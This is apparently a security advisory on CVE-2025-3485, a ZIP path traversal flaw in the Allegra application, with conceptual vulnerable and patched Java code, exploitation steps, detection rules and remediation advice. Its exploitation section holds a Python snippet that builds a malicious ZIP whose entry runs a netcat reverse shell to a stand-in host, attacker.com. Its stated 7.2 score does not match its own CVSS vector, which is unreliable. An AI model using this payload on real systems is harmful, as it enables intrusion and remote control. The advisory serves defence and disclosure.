CVE-2025-3485

Executive Summary

CVE-2025-3485 is a critical directory traversal vulnerability in the Allegra application, specifically within the extractFileFromZip method. This flaw allows an authenticated remote attacker to write arbitrary files to the filesystem, leading to remote code execution (RCE) in the context of the current process. The vulnerability is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) and carries a CVSS score of 7.2 (High). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the potential for full system compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the proprietary Allegra application, which is typically deployed as a standalone enterprise solution. No open-source package or dependency chain is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Authentication required)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is High due to the low attack complexity and the ability to achieve full RCE with only low-privilege authentication.

Deep Dive & Mechanics

The vulnerability resides in the extractFileFromZip method of Allegra. This method is designed to extract files from a ZIP archive, but it fails to properly validate user-supplied paths. An attacker can craft a ZIP file containing entries with directory traversal sequences (e.g., ../../malicious.dll) that escape the intended extraction directory. When the application processes the ZIP, it writes the traversed path to the filesystem, allowing the attacker to place arbitrary files (such as executables, scripts, or configuration files) in sensitive locations.

The root cause is the lack of path normalization or sanitization before file operations. The application does not check whether the resolved path stays within the intended base directory, enabling an attacker to overwrite critical system files or inject malicious code into startup directories.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

public void extractFileFromZip(String zipPath, String destDir) {
    ZipFile zipFile = new ZipFile(zipPath);
    Enumeration<? extends ZipEntry> entries = zipFile.entries();
    while (entries.hasMoreElements()) {
        ZipEntry entry = entries.nextElement();
        String entryName = entry.getName();
        // VULNERABLE: No path validation
        File outputFile = new File(destDir, entryName);
        // ... extraction logic
    }
}

Patched Code (Conceptual):

public void extractFileFromZip(String zipPath, String destDir) {
    ZipFile zipFile = new ZipFile(zipPath);
    Enumeration<? extends ZipEntry> entries = zipFile.entries();
    while (entries.hasMoreElements()) {
        ZipEntry entry = entries.nextElement();
        String entryName = entry.getName();
        // PATCH: Validate and sanitize path
        File outputFile = new File(destDir, entryName);
        String canonicalPath = outputFile.getCanonicalPath();
        String canonicalDestDir = new File(destDir).getCanonicalPath();
        if (!canonicalPath.startsWith(canonicalDestDir)) {
            throw new SecurityException("Path traversal detected");
        }
        // ... extraction logic
    }
}

The patched version uses getCanonicalPath() to resolve symbolic links and relative paths, then verifies that the output file is within the intended destination directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid low-privilege credentials for Allegra.
• Network access to the Allegra web interface or API endpoint that triggers extractFileFromZip.

Exploitation Steps:

1. Create a malicious ZIP file containing a file with a directory traversal path, e.g., ../../../../ProgramData/Allegra/plugins/malicious.dll.
2. Authenticate to Allegra and upload the ZIP file via the vulnerable endpoint.
3. The application extracts the ZIP, writing the malicious file to the target directory.
4. If the file is a DLL or script, trigger its execution (e.g., by restarting a service or accessing a plugin).

Example ZIP Creation (Python):

import zipfile

with zipfile.ZipFile('malicious.zip', 'w') as zf:
    zf.writestr('../../../../tmp/evil.sh', '#!/bin/bash\nnc -e /bin/bash attacker.com 4444')

No public exploit code is available. The above is a conceptual example.

Blue Team (Detection & Defense)

Detection:

• Monitor for ZIP file uploads containing path traversal patterns in entry names.
• Log and alert on file write operations outside the intended extraction directory.
• Use file integrity monitoring (FIM) to detect unexpected changes in sensitive directories.

Defense:

• Apply input validation and path sanitization on all file operations.
• Use a whitelist of allowed extraction directories.
• Implement least privilege for the application process.
• Deploy a Web Application Firewall (WAF) to block path traversal payloads in ZIP entries.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to Allegra endpoints with ZIP file uploads containing path traversal sequences (e.g., ../, ..\\).
• File System: Unexpected files in directories such as /tmp, /var/www/html, C:\ProgramData, or C:\Windows\System32 with timestamps matching ZIP upload activity.
• Process: Unusual child processes spawned by the Allegra application (e.g., cmd.exe, /bin/sh).
• Logs: Application logs showing extraction of entries with names containing ../ or ..\\.

Detection Engineering

YARA Rule

rule CVE_2025_3485_ZipTraversal {
    meta:
        description = "Detects ZIP files with path traversal entries targeting Allegra"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-3485"
    strings:
        $traversal1 = /\.\.\/[^\/]/
        $traversal2 = /\.\.\\[^\\]/
    condition:
        (uint32(0) == 0x04034b50) and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-3485 Allegra Directory Traversal
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects file write operations with path traversal patterns from Allegra
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\Allegra.exe'
        TargetFilename|contains:
            - '..\'
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3485 Allegra ZIP Traversal Upload"; flow:to_server,established; content:"POST"; http_method; content:"multipart/form-data"; http_header; pcre:"/filename=[^"]*\.zip/i"; pcre:"/\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible, or restrict access to trusted users only.
2. Apply input validation on all ZIP entry names, rejecting any that contain ../ or ..\\.
3. Use a sandboxed extraction directory with strict permissions.

Long-Term Fix:

• The vendor must release a patch that implements proper path canonicalization and validation in the extractFileFromZip method.
• Until a patch is available, consider using a third-party ZIP extraction library that includes built-in path traversal protection.

Workarounds:

• Implement a reverse proxy or WAF rule to block ZIP uploads containing path traversal patterns.
• Monitor file system changes in sensitive directories and alert on anomalies.

Valters IT